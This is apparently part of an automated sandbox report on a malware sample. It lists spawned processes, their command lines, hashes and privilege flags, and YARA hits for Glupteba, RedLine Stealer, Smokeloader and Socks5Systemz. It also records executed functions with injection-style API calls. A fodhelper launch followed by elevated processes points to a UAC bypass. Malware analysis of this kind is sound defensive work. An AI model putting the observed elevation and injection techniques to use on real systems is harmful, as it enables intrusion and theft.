Commandline:	C:\Windows\Sysnative\cmd.exe /C fodhelper
Imagebase:	0x7ff77da30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:12:54
Start date:	20/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	03:12:54
Start date:	20/12/2023
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	fodhelper
Imagebase:	0x7ff6b9ca0000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:12:54
Start date:	20/12/2023
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\fodhelper.exe"
Imagebase:	0x7ff6b9ca0000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:12:55
Start date:	20/12/2023
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\fodhelper.exe"
Imagebase:	0x7ff6b9ca0000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	03:12:56
Start date:	20/12/2023
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\net.exe" helpmsg 19
Imagebase:	0xe30000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:12:56
Start date:	20/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	03:12:56
Start date:	20/12/2023
Path:	C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe" -i
Imagebase:	0x400000
File size:	2'875'391 bytes
MD5 hash:	025F0305F33F6C3E7F55217194C451AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 33%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	03:12:56
Start date:	20/12/2023
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 helpmsg 19
Imagebase:	0x3e0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	03:12:57
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\Temp\A0FE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\A0FE.exe"
Imagebase:	0x400000
File size:	4'394'872 bytes
MD5 hash:	D477E6905C6A98305C825E88FA656C8A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000027.00000003.2334018641.0000000005522000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000027.00000002.2379204850.00000000047F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000027.00000002.2379204850.0000000004C33000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000027.00000002.2374217277.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000027.00000002.2377973035.00000000043F4000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	03:12:58
Start date:	20/12/2023
Path:	C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe" -s
Imagebase:	0x7ff70f330000
File size:	2'875'391 bytes
MD5 hash:	025F0305F33F6C3E7F55217194C451AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000028.00000002.4123905008.0000000002CE1000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000028.00000002.4123472721.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	03:12:58
Start date:	20/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff71e800000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	03:12:58
Start date:	20/12/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 6092 -ip 6092
Imagebase:	0x790000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	03:13:01
Start date:	20/12/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6092 -s 664
Imagebase:	0x790000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	03:13:02
Start date:	20/12/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -nologo -noprofile
Imagebase:	0xa50000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	03:13:02
Start date:	20/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	54.9%
Signature Coverage:	24.2%
Total number of Nodes:	91
Total number of Limit Nodes:	8

Executed Functions

Function 00401590 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 569c601533bfa5fc76acd0aceccd82dced2ec0ba9158162e35254d0d933d7b6e
Instruction ID: d6964195f2ae178c179c3b7a32e304a619fe45f2cb2dcf097c8130f3d204b23e
Opcode Fuzzy Hash: 569c601533bfa5fc76acd0aceccd82dced2ec0ba9158162e35254d0d933d7b6e
Instruction Fuzzy Hash: 64616FB0904205FFEB208F91CC58FAF7BB8EF81710F10416AFA12BA1E5D6749941DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040159B Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bae20a228bd41bc7813985564ad54ad8a6399e0ad18c72377fec9941621639a0
Instruction ID: ff81ed2e81490e93a7bfe721f9c6a4d9304ec08e35c355afa89281eda0ffd623
Opcode Fuzzy Hash: bae20a228bd41bc7813985564ad54ad8a6399e0ad18c72377fec9941621639a0
Instruction Fuzzy Hash: 3E5109B5900249BFEB208F91CC49FAB7BB8FF85710F144169FA11BA2E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004015B0 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 6c4736dca5741fb18473fdef31891e556f9b158cac04651ef2a3a7cb79a50736
Instruction ID: af686ae4933c2f6004de28669cc23aaadd0110c3f88d1b974755b8c34b4799b2
Opcode Fuzzy Hash: 6c4736dca5741fb18473fdef31891e556f9b158cac04651ef2a3a7cb79a50736
Instruction Fuzzy Hash: 0E51F9B5900249BFEB208F91CC48FAF7BB8FF85B10F104169FA11BA2E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004015BC Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 72661907227a9452eb25ab953c02bdcf5a827517e06e297a0d085dc110f4c5bf
Instruction ID: 765dedf92b6036aea99e2596c7c6646b0bcbba97602321f23575c560d9e65fb8
Opcode Fuzzy Hash: 72661907227a9452eb25ab953c02bdcf5a827517e06e297a0d085dc110f4c5bf
Instruction Fuzzy Hash: 1451E8B5900249BFEF208F91CC48FDF7BB8FF85B10F104169FA11AA2A5D6749945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004015CB Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 004f83838c091370c792dd4fcb680897e20f1790ca1ffba750393c7614aa26f8
Instruction ID: 60f1a669064b898f2f8cfe764b4cdaf5e199705ebcb5ef48edc51869d28594cd
Opcode Fuzzy Hash: 004f83838c091370c792dd4fcb680897e20f1790ca1ffba750393c7614aa26f8
Instruction Fuzzy Hash: 2C51FAB1900249BFEF208F91CC48F9FBBB8FF85B10F104169FA11AA2A5D7749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 026DEFBF Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 026DEFE7
Module32First.KERNEL32(00000000,00000224), ref: 026DF007

Memory Dump Source

Source File: 00000000.00000002.1708356846.00000000026D9000.00000040.00000020.00020000.00000000.sdmp, Offset: 026D9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26d9000_3yPvcmrbqS.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 3306ae62212559268aa502197d2b48948853abf13746e4b6d089813fa4b742c1
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 91F0F6339007196FD7203BF4A88CB6E76E8AF48728F100528E642D61C0DB71E8458A60

Uniqueness

Uniqueness Score: -1.00%

Function 004029BA Relevance: 1.6, APIs: 1, Instructions: 60
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8b4368bb53e1649655da800b8e3771367f61da053ffbe47dde7c34dc5595736a
Instruction ID: ddfd821467dba8d9e3be05996510f596060048204c77d2b9bdf6330f9e046059
Opcode Fuzzy Hash: 8b4368bb53e1649655da800b8e3771367f61da053ffbe47dde7c34dc5595736a
Instruction Fuzzy Hash: 5C11E571708104E7D6209A449B4EF6B3724AB50B00F308077E5077A1C0D9FD9A07BBAF

Uniqueness

Uniqueness Score: -1.00%

Function 0252003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0252024D

Strings

cess, xrefs: 0252018D
kernel32.dll, xrefs: 0252008F, 02520095

Memory Dump Source

Source File: 00000000.00000002.1708118222.0000000002520000.00000040.00001000.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_3yPvcmrbqS.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 1e46428af89d03d9eea345c8977b0cf0df5e278e99040794962eefb35d28ee77
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 10525A75A01229DFDB64CF58C984BA8BBB1BF09314F1480D9E54DAB391DB30AA89CF14

Uniqueness

Uniqueness Score: -1.00%

Function 0040F56A Relevance: 7.6, APIs: 5, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___initmbctable.LIBCMT ref: 0040F572

Part of subcall function 00413701: __setmbcp.LIBCMT ref: 0041370C

__calloc_crt.LIBCMT ref: 0040F5A7

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID: ___initmbctable__calloc_crt__setmbcp
String ID:
API String ID: 4150745854-0
Opcode ID: d78840106cf323e60952fecf13e6b66d77eadc54326df2380de58cace4ba36fc
Instruction ID: ec008af243d741e7be5257d00270575423b1500172ac901f9ac37231c054c81a
Opcode Fuzzy Hash: d78840106cf323e60952fecf13e6b66d77eadc54326df2380de58cace4ba36fc
Instruction Fuzzy Hash: 64216AB380C6016ADB305F25AC45F533B99EB45338F24093BF951B36D2DB3A980A835D

Uniqueness

Uniqueness Score: -1.00%

Function 00422DD0 Relevance: 4.8, APIs: 3, Instructions: 313
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000000,0239C014,?,003784FD), ref: 00422FEF
GlobalFlags.KERNEL32(00000000,?,003784FD), ref: 00423109
LoadLibraryW.KERNELBASE(0239C018), ref: 0042320C

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID: Global$AllocFlagsLibraryLoad
String ID:
API String ID: 3005774783-0
Opcode ID: 5a200cdd72f8c108d827511670a68f0e209a8fe4ebad460ee6572a431a54fc19
Instruction ID: 53433a40e6311db2902c5ad1bc19b6bb51853bb4bf3dfe76c05b2ba33eca05ab
Opcode Fuzzy Hash: 5a200cdd72f8c108d827511670a68f0e209a8fe4ebad460ee6572a431a54fc19
Instruction Fuzzy Hash: 63B11871B44314AFD320AF50EE45B1B77A8EB49704F41092AF645A73D1C7B9A940CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 02520E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02520223,?,?), ref: 02520E19
SetErrorMode.KERNELBASE(00000000,?,?,02520223,?,?), ref: 02520E1E

Memory Dump Source

Source File: 00000000.00000002.1708118222.0000000002520000.00000040.00001000.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_3yPvcmrbqS.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: a45cf177f0ecddc54456e47d672fa3adceeee364b8599841ec49e672e1a97264
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: E7D0123114512877D7002A94DC09BCD7F1CDF05B66F008011FB0DD90C0C770954046E9

Uniqueness

Uniqueness Score: -1.00%

Function 004029C5 Relevance: 1.6, APIs: 1, Instructions: 55
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 630f67e63f4c9d6cadc1f4ef28869250e9dd95ac73f78134dda1cef590dfe083
Instruction ID: eda82e36109819710fc28ef01b941f30aa1b457bd77d6c907d6690057fca41fa
Opcode Fuzzy Hash: 630f67e63f4c9d6cadc1f4ef28869250e9dd95ac73f78134dda1cef590dfe083
Instruction Fuzzy Hash: 3C01C471708205E7DA60DA949A4EB6B7710AB51B10F308077E5037A1C4DAFD9A07FB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004029D1 Relevance: 1.6, APIs: 1, Instructions: 54
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8aebd7c2dfb35844096bdf04bcf18f9291abc38b44631a4f8f553a04b448b611
Instruction ID: 27f311fed6bd4bb195386d6e886048742e5b6b48a655c0a394e70793ed6bf28f
Opcode Fuzzy Hash: 8aebd7c2dfb35844096bdf04bcf18f9291abc38b44631a4f8f553a04b448b611
Instruction Fuzzy Hash: E0018071708105E7DA609A449B4EB6B7324BB50B10F308477E5077A1C4DAFD9A07BB6F

Uniqueness

Uniqueness Score: -1.00%

Function 0041A3D4 Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,00000020,00000000,?,0040E8A7,00000040,00000020,00000000,?,00000020,?,0040BE16,00000020,00000040), ref: 0041A417

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8faf5c6a54eeffe6b075a6f591250359ab32c982db460b56dd165f119e2ae68e
Instruction ID: e6c248eba5956fdd50d81d40c8c2af0cec9ce26e0833dd8b2cb79009762ff8e0
Opcode Fuzzy Hash: 8faf5c6a54eeffe6b075a6f591250359ab32c982db460b56dd165f119e2ae68e
Instruction Fuzzy Hash: 9801D4312022159BEB289F25DC58BE73354EB81764F04C53BE815DB6D0CBB8DCA0C79A

Uniqueness

Uniqueness Score: -1.00%

Function 004029D5 Relevance: 1.6, APIs: 1, Instructions: 51
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 14f9d75437b26c4e33ab762a249f6d4a6897a4cf10a17b4738070ea496484bd2
Instruction ID: 6c082c2f6db60d75b034223dafbed04b71575a1e0537fab93527f59567f6cb96
Opcode Fuzzy Hash: 14f9d75437b26c4e33ab762a249f6d4a6897a4cf10a17b4738070ea496484bd2
Instruction Fuzzy Hash: DB01B531708105E7DB60DA409A4DF5F7720BB50B10F208577E5077A1C4DAF99A17EB9B

Uniqueness

Uniqueness Score: -1.00%

Function 004029E2 Relevance: 1.5, APIs: 1, Instructions: 47libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: b2d371f82e3e545a267ab12f2e2f0a58ec4b54f775fd64736b106f9591d7a7c3
Instruction ID: daf8977218c418413866257df5c9087131837fd98e0c4230724de407841e0162
Opcode Fuzzy Hash: b2d371f82e3e545a267ab12f2e2f0a58ec4b54f775fd64736b106f9591d7a7c3
Instruction Fuzzy Hash: 3801DF31708104E7DB209A848A4DB5E7320AB40B10F208577E507BA1C0DAF9AA07AFAB

Uniqueness

Uniqueness Score: -1.00%

Function 004029E9 Relevance: 1.5, APIs: 1, Instructions: 47libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1706646761.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3yPvcmrbqS.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 9850a57f899f03cbeedeed8d531e786c982b6ed5f0a372be87f463e87495e5bd
Instruction ID: 5524fd7572365f35614fa46947343296b9db081daee3b4d0816b59f029c0b045
Opcode Fuzzy Hash: 9850a57f899f03cbeedeed8d531e786c982b6ed5f0a372be87f463e87495e5bd
Instruction Fuzzy Hash: 2101A731704104E7D7209A448A4EB5E7720AB40704F208477E5067A1C4DAB9EA07AB6B

Uniqueness

